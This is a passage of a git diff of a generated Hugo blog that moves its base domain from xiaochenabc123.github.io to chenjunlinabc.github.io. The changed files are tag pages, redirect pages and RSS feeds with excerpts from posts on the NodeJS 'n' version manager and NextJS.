-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/mongodb/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/mongodb/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/mongodb/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/mongodb/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/mongodb/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/mongodb/"></head></html>
\ No newline at end of file
diff --git a/tags/n/index.html b/tags/n/index.html
index fed3f35c..7bf6031a 100644
--- a/tags/n/index.html
+++ b/tags/n/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>n | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/n/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/n/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="n"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/n/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="n"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>n</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>n | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/n/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/n/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="n"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/n/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="n"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>n</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/n/index.xml b/tags/n/index.xml
index 2c4d6e08..6b307e60 100644
--- a/tags/n/index.xml
+++ b/tags/n/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>n on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/n/</link>
+    <link>https://chenjunlinabc.github.io/tags/n/</link>
     <description>Recent content in n on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/n/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/n/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/n/page/1/index.html b/tags/n/page/1/index.html
index aa8b4cf2..4ffb283f 100644
--- a/tags/n/page/1/index.html
+++ b/tags/n/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/n/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/n/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/n/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/n/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/n/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/n/"></head></html>
\ No newline at end of file
diff --git a/tags/nextjs/index.html b/tags/nextjs/index.html
index 30b9a49b..fa296218 100644
--- a/tags/nextjs/index.html
+++ b/tags/nextjs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>NextJS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nextjs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nextjs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NextJS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nextjs/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NextJS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>NextJS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>NextJS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nextjs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nextjs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="NextJS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/nextjs/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="NextJS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>NextJS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -12,13 +12,7 @@
 在scripts下加添加
 “dev” : “next”, “build”: “next build”, “start”: “next start”
 创建个js文件
-function Hallo(){
-return(
-&lt;div>hallo next.js&lt;/div>
-)
-}
-export default Hallo
-yarn dev调试
+function Hallo(){ return( &lt;div>hallo next.js&lt;/div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -32,9 +26,7 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from "next/link"
-&lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link>
-Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://xiaochenabc123.github.io/posts/74/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import Link from "next/link" &lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link> Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://chenjunlinabc.github.io/posts/74/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
